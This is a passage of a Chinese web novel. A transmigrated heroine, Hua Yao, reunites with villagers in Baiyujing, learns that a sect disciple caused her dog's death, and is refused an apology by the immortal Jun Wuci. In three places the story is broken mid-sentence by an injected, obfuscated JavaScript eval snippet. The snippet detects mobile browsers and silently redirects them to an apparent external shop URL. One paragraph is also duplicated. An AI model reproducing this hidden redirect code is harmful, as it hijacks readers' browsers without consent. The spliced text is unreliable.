在陌生的茫茫人海里,遇到故音,她下意识地就朝馄饨摊走去,像是一只在寒冷冬日跋涉太久,想汲取温暖的小兽。 许大婶抬头抹了把汗,一边下馄饨,目光习惯性地扫过摊前的路人,掠过花遥时并未停留。 她打招呼的话,终究还是没说出口“一碗……馄饨。” 许大婶抬起头,笑呵呵地说道:“小姑娘你是哪里人,口音倒是有点像我们村子里的人。” “许婶。”花遥犹豫了一瞬,唤道。 “你是……”许大婶揉面的动作一顿,一脸疑惑地上上下下仔细打量花遥,眼中猛地迸射出惊喜“你是小花?” “许婶,是我。”花遥脸色苍白地点了点头。 “哎呀,小花真的是你,一眨眼都长这么大了,婶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084200|195354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子都不敢认了!” 惊讶过后,便是扑面而来的毫不作伪的熟稔与关切,“你这孩子,怎么一个人在这儿?这脸怎么这么白……快,快坐下,还没吃饭吧?婶子给你煮碗馄饨。” “好。”花遥依言在那张简陋却干净的小板凳上乖乖坐了下来,双手无意识地交叠放在膝上,像个突然被长辈安置好的孩子。 许大婶一边麻利地用长竹筷搅动着锅里翻滚的雪白馄饨,一边习惯性地扯着家常,语气里满是乡里乡亲的熟稔:“哎,瞧你这丫头,一个人跑这么远。你娘呢?她身子骨还好吧?” 花遥:“我娘,五年前病死了。” 许大婶搅动馄饨的手一顿。 “哎哟,这……这……”她连叹了几声,赶紧将馄饨捞进碗里,动作都显得有些仓促,仿佛想用忙碌掩盖这突如其来的沉重,“瞧我这张嘴……真是……小花,对不住。” “不碍事的,许婶。”花遥安抚地冲她笑了笑“生老病死人之常情。” “说的也是,这人啊一辈子谁也看不到,那你一个人来这白玉京?” 许婶将满满一碗馄饨端到花遥面前,汤汁几乎要溢出来,里面馄饨多得挤挤挨挨,像是生怕花遥吃不饱。 “我来办点事。”花遥拿起汤匙,舀起一颗馄饨,热气顿时模糊了她的眉眼。 “你别说,这么多年我还没有遇到过咱们村子里的人,你啊还是第一个!” 花遥附和“毕竟这白玉京离咱们白衣坝太远了。” 这时,有一对夫妻要两碗馄饨。 因为临近饭点,客人越来越多。 许婶忙着招呼客人又要忙着烧火包馄饨,花遥见状,用最快的速度吃完,也不管头晕难受,忍着腿上的痛,愣是装作正常地捋起袖子,洗完手就开始帮忙切菜烧火。 许婶空闲回头,瞧见了她手臂上血淋淋的伤口。 “哎哟,小花你的手臂怎么有伤,谁欺负你了?快,快去歇息,婶子我得行!” “婶子没事,就昨晚摔了一跤。”花遥连忙将袖子放下了一些,扭头轻咳了一声说道“不碍事的,这会人多,我帮你。” “你这孩子还是那么懂事。”许婶感叹了一句“既然都来了,如果没啥急事就别急着走,好难得来一回,在这白玉京多留些时日。” 她一点都不想在这个地方多待。 等她身体好了就走。 “再说吧婶子。”她随口说道,又压不住连咳了几声。 见她脸色发白,许婶终于察觉到不对“小花,你是不是生病了?” 花遥说道:“不严重的婶子,一会忙完我去抓点药就好了。” 许婶不同意,擦了擦手,将花遥轻推到桌边“你快坐,身子要紧,你放心,婶子我忙得过来。一会等你的金宝哥哥来了,让他带你去抓药,你人生地不熟的可不许瞎跑。” 许婶话音刚落,一个清润的嗓音便从袅袅升腾的锅气后传来,带着些许无奈的笑意。 “娘,你又在替我安排什么差事了?” 花遥下意识地回头。 便看到一个穿着天青色直裰的男子站在摊位前,身形挺拔如竹,眉眼俊俏无双,带着一种与这烟火市井格格不入的书卷气。 但这都不是让花遥心头微震的原因。 他含笑的眉眼,竟有几分像她穿越前的好友。 那是另一个时空,连回忆都开始泛黄的男孩。 5. 第 5 章 “刚说起你,你就到了!”许婶放下手中的面皮,看向花遥“你还记得小时候经常和你一起玩的小花不?诺……”她扬了扬下巴“你看,已经长成美丽的大姑娘了。” 陆清宴顺着许婶的视线看去,棚下站着个亭亭玉立的姑娘,杏眼琼鼻,乌黑的发辫垂过纤细腰肢。 “小花?”他怔了怔,完全没想到小时候那个黑不溜秋的小姑娘长成了如今清秀可人的模样。 “元宝哥哥。”花遥也没想到原主记忆里瘦得跟猴子一样的小男孩变成如今这幅俊秀高大的样子。 陆清宴听到这一声久违的呼唤,脸上瞬间绽开一个大大的笑容,大步流星地走过去,眼睛亮得惊人:“真是……小花?” 他故意拖长了调子,带着不敢置信的惊喜,“我离家前那个跟在我后头、脸花得跟猫似的黑丫头哪儿去了?” 他双手抱臂,上上下下打量她,嘴里啧啧有声:“你老实交代是不是偷摸拜了哪个会驻颜术的仙子当师父?快跟你元宝哥哥说实话!” 他笑得露出一口白牙,爽朗又带着少年人般的促狭,那股子鲜活的热闹气瞬间冲散了花遥因他容貌相似而产生的恍惚。 “我也没想到,当年上山掏鸟窝下活抓螃蟹的猴子会变得如此俊秀。”花遥迎上他亮晶晶的目光,唇角微扬地说道。 “瞎说,我记得我小时候就很是英俊潇洒。”听她这样说,陆清宴脸上的笑意更深了,还故意张开双手让花遥仔细看。 一边忙碌的许婶见两人完全没有隔阂,脸上的笑意都深了。 “小花怎么想起来白玉京了?”陆清宴挽起袖子刚说完,又想起了什么,立刻问道“难道……小花你嫁到白玉京了?” 一听这话,许婶也停下动作看向花遥。 花遥默了片刻,笑道:“说来话长,是成婚了,不过现在已经离了。” 许婶一听这话,立刻说道:“离得好?肯定是对方辜负你,那可有孩子?” 花遥摇了摇头。 “对方是什么人?怎地如此不负责任。”陆清宴皱眉。 花遥:“修士,仙凡有别,我和他不合适。” 这白玉京只有紫霄仙宫。 “修士又如何,难道不都是人?”没等陆清宴说话,许婶把手中的面团猛地一摔,动静太大,让周围人全都看了过来,“修士难道就可以随意辜负人心?我儿也是修士,他就不会说什么仙凡有别这种话。” 听到这样的话,花遥心口一暖,鼻子都忍不住有些泛酸。 “娘,你这脾气,比咱家那口汤锅还烫。”见许婶越说越气,怕她气坏了身子,陆清宴开玩笑地说道。 花遥也止不住地连咳了几声赶紧劝道:“许婶你别气了,这事情已经过去了。” 咳嗽声让许婶终于想起了刚才说的话,她拍了拍花遥的手背“我没事。”说完,转头看向陆清宴叮嘱道“瞧我这记性,你带小花去医馆抓几副药。” “许婶,我自己可以……”花遥不想麻烦。 “你这孩子,跟婶客气什么呢?你大老远来到这人生地不熟的白玉京,我自然得照看着,快去快去,抓完药,就去我家住上一些时日,让你元宝哥哥带你到处逛逛散散心。” “许婶……这太麻烦了,不用的,我现在住在客栈的。” 许婶:“客栈一晚多贵?别推辞了,快去。” 花遥还想说些什么,但不等她开口,一旁的陆清宴率先说道:“来都来了,不逛逛这所谓的人间仙境白玉京多亏?” “好,那过两日吧,过两日我来。”花遥想到自己身上的伤和感冒说道。 “也好,走吧,我带你去医馆。”陆清宴点了点头。 走了一小截路,即便花遥强撑着正常走路的模样,陆清宴还是察觉到了不对。 “你的腿受伤了?”他问道。 “不小心摔了一跤。”花遥抿了抿唇说道,也不知道是不是动太久了,此时她的腿疼得有些钻心,每走一步都得用尽力气。 “上来。”陆清宴看了一撩衣袍,想也没想地在她面前蹲下身。 花遥立刻摇头:“不用了,金宝哥哥!” “你叫我什么?”他笑了一声,回头看向她。 “金宝……哥哥?”她疑惑地看着他。 “既然叫我一声哥哥,背一背受伤的妹妹不是应该吗?” 夕阳的余晖在他俊朗的眉眼间跳跃,带着让人安心的暖意。 花遥不在多说,弯腰伏在了他的背上。 “啧,这么轻。”他轻松地背起了她,调侃道“趴好了,一会儿掉下去我可不会捡起来。” “你放心,我才不会给你这样的机会。”花遥。 也不知道是不是因为原主记忆的关系,还是金宝哥哥和故人有几分想象的眉眼,总之花遥心情都好了一些。 “你快点把身子将养好,我带你在白玉京好生逛逛。你看那边……”陆清宴努了努下巴“东市晚上有星河灯,亮起来跟把天河拽下来了似的;西街老孙头的烤灵鹿肉,啧啧,那叫一个香,保准你吃了什么烦心事都忘了!” 说着,就来到了医馆。 “伤口虽然未见骨,但有几处险些伤及经脉”大夫的低头写着药方“且内里气血也有些紊乱惊悸之象。姑娘近来,还是静养为宜,切忌动气劳神。”他将药方递给身后的人,望着花遥补充道:“这两副药,内服外敷的都已分开包好,用法写清楚了。” 回去时,天已经快黑了,还是陆清宴将花遥背回去的。 “听见没,要静养。”陆清宴一脸严肃地威胁道“这两日我会去客栈检查你老不老实,不老实就告诉我娘,到时候看你受不受得了她的唠叨。” “我一定会静养的,金宝哥哥高抬贵手!”花遥很上道的双手合十地求饶。 “看你表现。”陆清宴抱着手臂,挑眉。 路上,花遥的目光被街边一个不起眼的小摊吸引。摊主是个老妪,面前摆着些手工编织的小玩意儿,其中几只草编的形似小动物的物件编得尤其灵巧。 她的脚步停在一只编成小狗模样的物件前。那小狗憨态可掬,用染成褐色的草叶编出蓬松的皮毛感,两颗黑豆点睛,嘴里还叼着一根编成骨头形状的草梗。 “给谁买的?”陆清宴背着她,随口问道。 花遥拿起那只草编小狗,指尖拂过粗糙却温暖的草叶纹路。 “鼠标……我养的狗。”她说道,声音微哑。 “名字挺别致。”陆清宴没察觉出她语气的不对“这骨头编得倒像,不过这草编的肯定不经它咬。” 花遥沉默了一息,缓缓说道“它……死啦。” 陆清宴怔了怔,赶紧说道:“抱歉!” “金宝哥哥道什么歉,又不是你的错。”花遥。 陆清宴,单手将几枚铜钱率先递给了摊贩“那这个东西,算我送给鼠标的,你不许抢。” 回到客栈,花遥让陆清宴先将她送到了后院的大树下。 “鼠标就葬在这里。”她正要动手挖土把草编的小狗埋下去。 “我来吧。”陆清宴却将她靠在树干上,撩袍蹲下。 把玩具埋下,恢复原样后,陆清宴抬眸就见花遥双眼泛红,明明伤心极了,却抿着唇不肯落泪。 他安慰道“小花,都过去啦,我相信你一定尽力了。” 这一天一夜的情绪在这一声安慰里终于……断了。 压在花遥心底无处言说的悔恨和自责终于裂开了口。 “金宝哥哥……”花遥声音抖得不成样子,每个字都带着涩意,“是我……对不起它。” 大颗大颗的眼泪从她苍白的脸颊滚落。 “是我……害死了它。” 陆清宴看着眼前脆弱得仿佛一碰即碎的姑娘,他没有立刻追问“怎么回事”,也没有说任何空洞的安慰。他只是上前一步,伸出手,温暖干燥的掌心轻轻握住她冰冷且微微颤抖的手。 给与她继续发泄的力气。 她攥着他的手:“如果不是我……一定要来白玉京,如果不是我为了上紫霄宫……把鼠标丢在山下……它,它就不会被野兽伤害……” “鼠标那么乖那么听话……我真的不是个好主人。” 直到她发泄够了,陆清宴才开口说道“小花,人这一辈子,会做很多选择,有的选对了,有的选错了。但没有任何一个选择,能保证结局圆满。我们能做的只是尽力……” 他抬手,揉了揉她的脑袋。 “鼠标不在了,你很难过这没错,但难过和认定自己是凶手是两回事,不要抓着最坏的结局,往自己心口捅刀子。” 花遥揉着眼,点了点头。 陆清宴将她送上楼,付钱让小二煎药。 等待时,花遥情绪已经渐渐平静下来了。 他倒了杯水递过去,问道“紫霄仙宫建立在灵气充裕之处,山脚下一般都有阵法防止凡人误入深处,寻常兽类亦不会出现在山脚附近……” 花遥猛地抬头看向他。 “所以,你在哪里发现鼠标的?”陆清宴问她。 花遥回忆道:“就在紫霄仙宫下面山脚下……当时我记得并没有走很久。” “据我所知,紫霄仙宫的护山‘清微大阵’百年未撤。其范围,至少笼罩山门外围三十里。此阵并非杀阵,却足以让误入的凡人晕头转向,不知不觉绕回原路;至于鸟兽虫蚁,更会本能地避开阵法扰动的灵气范围。”他顿了顿,“你说没有走很久,就在山脚下……发现了鼠标?” “嗯。”花遥神情凝重地点点头。 他看着她,神情同样凝重“这只有两种可能,第一,当时紫霄宫的护山大阵恰好出现了罕见的漏洞,这种可能性,微乎其微;第二……有什么人,故意让一只狗死在了那个地方,” 花遥感到一股寒意从尾椎骨窜起,瞬间蔓延至四肢百骸。 鼠标的死……根本就不是一场意外,而是被人为? 谁会这样做? 她眼前陡然出现了那送她下山的侍女。 萧韵嫣? 可不应该啊? 鼠标只是一条狗。 她那样的修士怎么会去伤害一条狗狗呢? “怎么了?”见她神情不对,他问到。 “没事……鼠标应该真的是意外吧。”她撑着额头“金宝哥哥,今天麻烦你了,我有些累了。” 陆清宴点了点头“好,那你也不要多想,事情已经过去了,你喝完药,早些歇息,我明天来看你。” 陆清宴一走,花遥立刻找出了包袱。 她记得,君无辞给过一张什么传音符,能找到他。 她捏着传音符,想了好一会,才想起怎么使用。 磕磕绊绊地念动咒语后,很快,一道熟悉的低沉声音从虚空中传来。 “花遥姑娘,有事吗?” 疏离淡漠,如同陌生人。 花遥攥着拳,深吸了一口气,用生硬的语气说道“我要见你。” 君无辞“我现在有事,晚点可以吗?” 花遥听到了萧韵嫣的声音从传音符里传来,“师兄……这么晚你还要下山吗?” 两人应该离得很近。 所以她的声音很清晰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084201|195354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 花遥心脏一抽,一股情绪直冲脑海。 带着怒又像是恨和怨……她分不清辨不明,只知道不应该。 君无辞不是她的阿福。 她的阿福已经消失了。 所以君无辞的一切本来就与她没有任何的关系。 她没说话,君无辞声音淡淡地唤了声“花遥姑娘?” “可以,多晚我都等你。”花遥回过神来。 传音符断开联系后,花遥就在桌边一动不动地坐了许久。 她盯着摇曳的烛火许久,其实什么都没想, “叩叩”直到敲门声响起。 不疾不徐的两下,清晰得像落在人心上。 “进来。”花遥的睫毛颤动了一下,她没有起身也没有动。 “吱呀”,木门被推开的声音,在深夜里格外清晰。 一道修长的身影出现在门口,几乎融进廊下的黑暗,只有衣袍下摆被屋内微弱的光勾勒出一层暖黄。 来人身量太高大了,直到走进来,烛光这才渐渐爬满他的周身。 君无辞穿着一袭如水墨般的玄色衣衫,在光下泛着幽暗内敛的深蓝光泽,随着他的步伐无声流动。衣料是极好的冰蚕丝,垂坠而服帖,领口与袖口处以同色暗线绣着繁复的流云回纹,几乎看不见,唯有动作间才折射出极其隐晦的银芒。 墨发仅用一根乌木簪松松束了部分,其余披散在肩背,更衬得那张脸在烛火下有一种冰雪雕琢般的美。 只是那美,是冷的是冰的,不带一丝烟火气。 而阿福虽然看起来冷,可他的心是热的。 是每次她出门,他都会在门口等她,无论多晚。 是每次她来不及吃饭,他会为她温着粥。 是每次她洗完头,会为笨拙地为她擦头发 阿福…… 她的心口升起一阵细密而尖锐的酸楚。 君无辞抬眸,看向坐在椅中的花遥。 两人的视线在昏黄的光晕中短促相接。 君无辞的眼睛在昏暗光线下呈现出一种近乎纯粹的墨色,是吞噬一切的深不见底。 “请坐。”花遥匆匆扫了一眼,便挪开了视线。 他依言走了过去,衣袍拂动间,带着一股淡淡的暖香。 这香味夹杂着一丝甜,那是女儿家喜欢的香。 他在她对面坐下。 姿势并不刻意,但却因为他,这普通的木椅都变成了云端的玉座。 “仙尊,紫霄仙宫可有护山大阵”她不想与君无辞有太多牵扯,压下心头的情绪,单刀直入地问道。 修士都知道,只要排得上名号的仙门,一般都有护山大阵。 “有。” “大阵笼罩山门外围三十里,能让凡人晕头转向,鸟兽虫蚁更会本能地避开阵法扰动的灵气范围?” 君无辞点头,那双如墨的眸子看了她一眼。 就好像……已经知道她所为何事。 “所以……我的鼠标在你们的大阵里为什么会遇到野兽?这一定不是意外!” “今日我问了守山的弟子,”他终于开口,声音平稳无波,“鼠标的死,的确不是意外。” “它被谁杀的?” 花遥倏地站起身,用力地攥着自己的袖边,声音因激动而颤抖。 “我会补偿你。”君无辞的目光掠过她因用力而泛白的手指,并没有回答她的问题“你需要什么,灵石、丹药、法器,或是其他,只要不过分,尽可开口。” “你在说什么啊?” 花遥不可置信地瞪着他“我是问你,谁杀了它,它只是一条狗啊,为什么要这么做?” 君无辞:“此事与萧师妹有关。” 花遥的呼吸猛地一窒:“什么?” “鼠标一直吠叫,她路过时下令驱逐。守门弟子便将狗送入了阵法边缘,他们以为,狗转几圈自会离开。”他顿了顿,补充道:“此事,萧师妹有过失,但非本意。” 非本意。 好一个轻飘飘的“非本意”。 “所以就因为它叫了几声,它就该死吗?它只是在找我啊,为什么驱逐它不告诉我一声呢?”她气得眼眶都红了,攥着袖口的手指都在抖。 君无辞看了她一眼,缓声说道:“弟子确有失职,但狗已经死了,我会补偿你。” 所以在他的眼里,鼠标只是一条狗,死了,可以赔。 可在她心里,鼠标是家人,是羁绊。 “补偿?”花遥看着他平静无波的脸,只觉得一阵彻骨的冰冷袭来,她打了个寒颤,摇头说道“我不要你的灵石丹药。” 她抿唇,压下泪意,一字一句地说道:“我要萧韵嫣到鼠标的坟前,亲口向它道歉。” 话音落下,厢房内一片死寂。 君无辞罕见地怔了怔,他微微偏首,似乎没听清,又像是觉得太过荒谬。 “花遥姑娘,你可以提其他要求。”几息后,他开口说道,语气甚至算得上耐心,像是面对一个不懂事提出了荒谬条件的孩子“任何合理的补偿。” “如果我只要这个呢?”她盯着他,瞳孔颤动,目光却没有任何躲闪“只要一句道歉,都不行吗?” 烛火在她眼中跳动,像两簇微弱却固执的火苗。 她已经懦弱过一次了,将鼠标丢在山脚下。 这次不行的。 “抱歉。”君无辞吐出两个字,没有任何转圜余地。 花遥眼底最后那点微弱的光,终于黯淡下去,大颗大颗的眼泪再也忍不住地滚出眼眶:“所以……你连让她出面说一句话,都舍不得,对吗?” 6.第 6 章 “这并非大事。”盯着她的泪水,君无辞的眉峰几不可察地蹙紧了一瞬“只是一只凡犬的意外……不值得你如此。” 不值得。 一条命不值得他师妹的一句话。 “在你们仙人的眼里……凡人,是不是也如一条狗一般?”她喉头刺痛,视线早已被泪水模糊成一片晃动的的光晕,她却还是固执地瞪大眼望着他“付出的感情是施舍,死了,也是可以估价的补偿?” 不该问的……也不该哭的。 可她忍不住。 她为鼠标哭,也为自己哭。 在他们这些人眼里,鼠标是如此,而她也是如此。 可她付出的感情是真的,而自己的真心换来的却是要被斩断的麻烦。 眼泪是烫的,砸在皮肤上甚至有些刺痛。可心里却一片冰凉,像冻透了的石头,沉甸甸地坠着,往外冒着寒气。那寒气浸透了四肢百骸,让她连指尖都在发麻。 她攥着手,瞪大眼,哽咽着问他“你们高高在上,俯瞰众生,是不是觉得我们我们视若珍宝的东西,都渺小如尘,可笑至极?” 君无辞看着她泪水涟涟的眼,她颤动的单薄肩膀,缓了片刻才开口“你若实在难以释怀,我可命人寻一只更伶俐的小犬予你。” 没有什么是不能被割弃的,鼠标也曾在阿福的脚边蹭,也曾亲昵地围着他打转,也曾依偎在他的身边陪着他,等她回家。 “君无辞,你走吧。” 看着她倏然转过去的背影,那单薄的肩线在昏暗光线下微微起伏。 君无辞立在原地,片刻无言。 厢房内只剩下烛火燃烧的细微声响,和她极力压抑的抽气声。 他眸色微深,终是未再言语地将一方素色的手帕放在桌边。 随即,玄色衣袂拂动,他转身推门而出,再未回头。 花遥背对着空荡荡的门口,她抬手死死捂住嘴,将破碎的呜咽堵在喉咙深处,只有滚烫的泪水,顺着指缝和手臂迅速浸湿了袖口。 很快,君无辞回到寂照无间。 门口,盛开着大片昙花,月色下落了满目的霜华。 夜风佛动衣袍,广袖垂落在身后, 很快,君无辞回到寂照无间。 大殿门口盛开着大片昙花,月色下落了满目的霜华。 他立在阶前,夜风拂动他玄色的衣袍,垂落在身侧的广袖如水般佛动。 望着在月下肆意绽放又随时会凋零的纯白,静默了片刻。 他微微阖眼,复又睁开时,眼底已是一片深不见底的静。抬手,指尖灵力微凝,一枚传讯玉符无声浮现于掌心。 “寻一只幼犬”他对着玉符开口,声音在夜风中清晰而冷淡,听不出情绪,“要……黑色皮毛,眉心最好有撮白。”他顿了顿,补充道“性情需温顺伶俐。明日内带回给我。” 吩咐完毕,他收回手,负于身后。夜风更疾,卷起几片昙花瓣,掠过他颊边,留下转瞬即逝的冰凉触感。他未再看那昙花,转身步入寂静的殿阁深处,玄色身影渐渐被内部的黑暗吞没,只有夜风依旧在阶前徘徊,吹动满地如霜似雪的花瓣。 第二日,陆清宴来时已是下午,花遥刚醒。 即便吃了药,但感冒不可能说好就好,还有浑身的伤也让她疼痛难受,有些筋疲力竭。 陆清宴得到许可推门进来时,花遥已经从床榻上坐了起来,脸上没什么血色,眼底下有淡淡的青影,整个人看着有些蔫蔫的。 “金宝哥哥,你怎么来了?”她披好外衫,忍不住掩唇轻咳了一声,声音带着病后的微哑。 陆清宴见她这副憔悴模样,几步走到榻前,故意压低了声音,神秘兮兮地眨眨眼:“猜猜看,你金宝哥哥今天给你带了什么好东西?” 花遥没什么精神,只勉强牵了牵嘴角,摇了摇头。 “嘿,瞧好了。”陆清宴也不卖关子了,猛地将藏在背后的手伸出来——竟然是一只毛茸茸的小家伙。 是只幼犬,瞧着刚足月不久,一身油光水滑的漆黑皮毛,唯独四只小爪子雪白雪白的,像不小心踩进了面粉堆。此刻,这小东西正怯生生地从陆清宴臂弯里探出个小脑袋,一双湿漉漉圆溜溜的黑眼睛好奇地打量着花遥,粉嫩的小鼻子还轻轻抽动着。 花遥整个人都愣住了。她呆呆地看着那只小黑狗,看着它纯真懵懂的眼神,看着它微微抖动的柔软的耳朵。 “这……这是……”她喃喃道,喉咙有些发紧。 “路上捡的,”陆清宴说得轻描淡写,动作却格外轻柔地将小狗往她面前递了递,“我看它孤零零缩在巷子口发抖,怪可怜的……怎么样,瞧着还行吧?” 小狗似乎察觉到了花遥的注视,忽然“呜”地发出一声细细软软的叫声,尾巴尖小幅度地摇了摇,试图伸出粉嫩的小舌头去舔陆清宴的手指。 她看着那摇动的小尾巴,看着那毫无防备的依恋姿态,眼眶毫无预兆地一热。连日来的悲伤、冰冷、绝望,仿佛都被这团小小的温暖的生命力烫了一下,微微融化了一角。 她犹豫着,极其缓慢地伸出手,指尖带着细微的颤抖,轻轻碰了碰小狗湿润冰凉的鼻尖。 小狗立刻抬起头,湿漉漉的眼睛更专注地看着她,然后伸出舌头,飞快地舔了一下她的手指。 那触感温温的,痒痒的。 花遥看着小狗,眼中有了一缕微光,微弱,却带着生机。 “它……”她声音有些哽咽,清了清嗓子才继续说,“它有名字吗?” “还没呢,”陆清宴见她笑了,眼底也漫上暖意,将小狗更稳妥地往她那边送了送,“等着你来取。” 花遥小心翼翼地从他怀里接过那团温热的小生命,小狗很轻,在她臂弯里不安分地动了动,寻了个舒服的姿势,便安静地趴了下来,小脑袋蹭了蹭她的胳膊。 感受着怀里真实的鲜活的温度和心跳,花遥低下头,用脸颊极轻地蹭了蹭小狗毛茸茸的头顶。 “就叫……”她顿了顿,声音很轻,却带着一种温柔的坚定“‘点点’吧。” 陆清宴看着她终于不再死寂的眉眼,心里松了口气,笑容也变得更加明朗。 “点点?好,就叫点点!”他顺势在榻边坐下,伸手揉了揉小狗的脑袋,“点点,以后可要好好陪着咱们小花,知道不?” 小狗像是听懂了似的,又“呜”地应了一声,往花遥怀里钻得更深了些。 窗外的阳光恰好移了过来,暖融融地笼住榻边这一角,将两人一狗的身影温柔地包裹其中。屋内弥漫的草药苦味,似乎也被这突如其来的生机,冲淡了许多。 君无辞提着弟子寻来的小狗,来到门边就就看到了这一幕,他看到她笑着和别的男人亲密地坐在一起 陆清宴察觉到视线,率先回头。看到门外气质卓然却眉眼冷寂的玄衣人,以及他手中的竹篮与幼犬,随即挑眉,笑容收敛,换上毫不客气的审视。 君无辞的目光掠过陆清宴,落在那只已被命名为“点点”,正舔着花遥手指的小狗身上,最后,定格在花遥脸上。 花遥似有所觉,抬起头,目光越过陆清宴的肩膀,向门口看去。 她的视线先是落在君无辞的脸上,有一瞬间的空白与怔忡,随即,嘴角那抹极淡的笑意如同被风吹熄的烛火,倏然消失了。她没有任何激烈的情绪,只是平静地移开了目光,重新低下头,将脸颊轻轻贴在了怀中幼犬毛茸茸的头顶。 仿佛门口那个提着小狗的人,与一阵无关紧要的冷风,并无区别。 陆清宴看看君无辞,又看看花遥异常的反应,似乎明白了什么,眼神更锐。 “既然花遥姑娘无事,”他开口,声音依旧平稳清冽,听不出丝毫波澜,仿佛只是确认了一件与己无关的小事“那我便先走了。” 他并未提及手中的竹篮与幼犬,也未再看屋内两人一眼。话音落下,便提着那精致的紫竹篮,转身,消失得干脆利落,如同从未出现过。 陆清宴又陪花遥坐了一会儿,还陪她一起用了午膳。 有他陪着,花遥的精神都好了不少,饭也用得多了些。 她有些好奇地问道:“金宝哥哥,我记得许婶说你也是修士?” “怎么,你金宝哥哥我看着不像吗?”陆清宴挑眉,神情恣意。 “像,特别的仙气飘飘。”花遥笑问道“你也在紫霄仙宫吗?” 陆清宴摇头说道:“紫霄仙宫在修仙界是第一大宗,我们凌云阁小门小户弟子少,但胜在无拘无束,不像那些大宗门,动不动就是上千条门规,吓人得紧。” 花遥也没震惊到了“上千条门规,那岂不是说错一句话都可能被罚?” 他扬眉:“那是自然,所以还是我们凌云阁舒服。” 花遥赞同地点头。 隔了一会,她突然问道“修仙最看重天资,金宝哥哥,可不可以麻烦你看看我的资质怎么样?” “我看看。”陆清宴在花遥期盼又忐忑的目光中,伸出两指,轻轻点在她光洁的额前,阖目凝神。一丝温润平和的灵力如溪流般探入。 几息后,他收回手,没立刻说话,反而抬手挠了挠后脑勺, 他还没说话,花倒是先开口了“我是不是一身凡骨,资质平庸?” 陆清宴揉了揉她的脑袋,安慰道:“只要身体健康,能吃能喝就好了,到时候等金宝哥哥我修为高了,多为你寻些延年益寿的丹药,保证你多活百年。” 比起多活百年,她更想回家,回到现代的家。 她眯眼笑道:“哈哈哈,好呀,那我就等金宝哥哥飞黄腾达飞升成仙了。” 凡人,就等于要生老病死,短短只有几十年的光景,甚至只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086571|195354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有不过二十年的年轻。 想到小花以后会同其它人一样死去,陆清宴脸上的笑意淡了一瞬。 不过很快他脸上再次扬起了笑,用很轻松的语气问道:“你知道三千大世界被分了等级吗?等级越高仙丹灵草越多,说不定便真的能改变体质。” 三千大世界? 花遥瞳孔一颤,那是不是就包含地球? 她心脏狂跳地问道:“三千大世界,那金宝哥哥去过别的世界吗?” “别的世界?”陆清宴失笑摇头,“我这点修为哪儿够。想靠自己打破界域禁制,至少得是元婴后期才有机会,但……在我们这个丁世界太难了。” “丁世界是什么意思?”花遥有些急切地问道。 “诸天万界,按灵气厚薄道法高低,划拉出五个层次——甲乙丙丁戊。最又统治力的是甲字世界,最末等就是戊字世界。”陆清宴轻啧了一声“那地方灵气稀薄得跟没有似的,道法传承基本断干净了,修仙?传说故事罢了。凡人活个百岁都是奢望。” 花遥怔了怔,这不就是地球吗? 所以只要修为高,便能回地球? “甲往上,就是咱们这儿的丁字世界。”陆清宴用手指敲了敲这个圈,语气变得有些微妙,“有灵气有仙门能修行。”他顿了顿,嘴角扯出个似笑非笑的弧度,“可咱们这儿啊,在那些真正的‘上界’眼里,就是个……嗯,药园子,或者矿场?” 他抬眼看了看花遥,见她听得入神,便继续道:“每过百年,就有来自‘丙字世界’的‘巡天司’,开着他们那遮天蔽日的‘掠灵舟’,跟收庄稼似的来了。把咱们这儿百年来孕育的灵脉精华、天地宝材,搜刮一空。留下的,就是一代比一代更难修炼的烂摊子。” “居然还有这样的事?”花遥瞪大了眼。 “只要丁字世界能出一个化神大能就能晋升到丙世界。可丁字世界的修士突破个小境界都千难万难,因为根基都上界掠夺了。咱们争得头破血流的机缘,在人家丙字世界,可能只是寻常物事。” 他手指移向更外围,画了个更大的圈:“丙字世界,那才算真正踏入了修真门槛,资源丰富,道统相对完整。可你以为他们就逍遥了?”他带着点看透的嘲弄,“他们上头,还有‘乙字世界’管着,一样要被抽取更精粹的资源。至于最高的‘甲字世界没有人知道是什么模样’” “那……有人曾去过丙字世界吗?”花遥问道。 “有!”陆清宴咧嘴一笑“那‘巡天司’收割虽狠,却也不是铁板一块。历史上咱们这丁字世界,也曾出有前辈偷渡到丙字世界,只是下场不怎么好罢了。” 花遥:“靠实力的至今没有吗?” 陆清宴摇头说道:“千年前,我们的世界举全修真界之力,出过一个惊才绝艳的前辈,当时他靠一己之力打破桎梏,去了丙世界,本以为能去更远,可后来为情所困……落了个身死道消的结局。” 如果这里是资源更丰富的丙世界了。 那么她是不是也有修炼的机会。 也就有机会找到地球? 花遥默了默,下意识地问道:“那如今……是不是没有希望了?” 